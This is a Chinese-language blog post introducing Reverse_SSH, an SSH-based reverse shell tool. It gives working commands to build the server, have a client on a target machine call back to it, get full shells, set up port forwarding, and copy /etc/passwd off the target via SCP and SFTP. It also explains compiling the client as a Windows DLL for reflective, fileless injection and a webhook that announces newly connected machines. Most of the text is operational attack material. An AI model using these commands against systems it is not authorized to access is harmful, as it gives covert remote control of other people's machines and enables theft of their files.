Reverse_SSH:一款基于SSH的反向Shell工具
一顆小胡椒2022-11-22 10:32:26

關于Reverse_SSH
Reverse_SSH上一款基于SSH的反向Shell工具,在該工具的幫助下,廣大研究人員可以使用SSH來實現反向Shell,并同時擁有下列功能:
1、使用原生SSH語句管理和連接反向Shell;
2、動態、本地和遠程轉發;
3、原生SCP和SFTP實現,用于從目標獲取文件;
4、完整功能的Windows Shell;
5、實現了客戶端&服務器端身份驗證,以創建高信任高可用的控制通道;
6、其他...
工具架構

工具安裝
Docker安裝
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh
手動安裝
git clone https://github.com/NHAS/reverse_ssh cd reverse_ssh make cd bin/
運行下列命令后即可啟動服務器:
cp ~/.ssh/id_ed25519.pub authorized_keys ./server 0.0.0.0:3232
工具運行
將客戶端拷貝到目標設備中,然后讓客戶端連接服務器:
./client your.rssh.server.com:3232
獲取工具幫助信息:
ssh your.rssh.server.com -p 3232 help
查看客戶端:
ssh your.rssh.server.com -p 3232 ls -t

連接到完整Shell:
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac
或直接使用主機名連接:
ssh -J your.rssh.server.com:3232 root.wombo
接下來,可以開啟遠程轉發功能:
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo
或開啟動態轉發:
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo
SCP:
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
SFTP:
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
其他功能
默認服務器
可以在項目構建的時候指定一個默認服務器:
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make $ bin/client $ bin/client example.com:3232
Windows DLL生成
我們還可以將客戶端編譯成DLL,并使用類似Invoke-ReflectivePEInjection之類的工具進行加載。此時,如果你使用的是Linux系統,可以使用mingw-w64-gcc編譯器:
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
當RSSH服務器啟用了Webserver之后,我們也可以使用下列命令進行編譯:
./server --webserver :3232 ssh your.rssh.server.com -p 3232 catcher$ link --name windows_dll --shared-object --goos windows http://your.rssh.server.com:3232/windows_dll
這種情況適用于無文件注入的場景。
Webhook
RSSH服務器可以通過命令行終端接口并使用webhook命令發送原始HTTP請求。
首先,啟用一個webhook:
$ ssh your.rssh.server.com -p 3232 catcher$ webhook --on http://localhost:8080/
接下來,連接客戶端,并使用下列格式發送一個POST請求:
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
項目地址
Reverse_SSH:【GitHub傳送門】
參考資料
https://www.instagram.com/smart.hedgehog.art/?
一顆小胡椒
暫無描述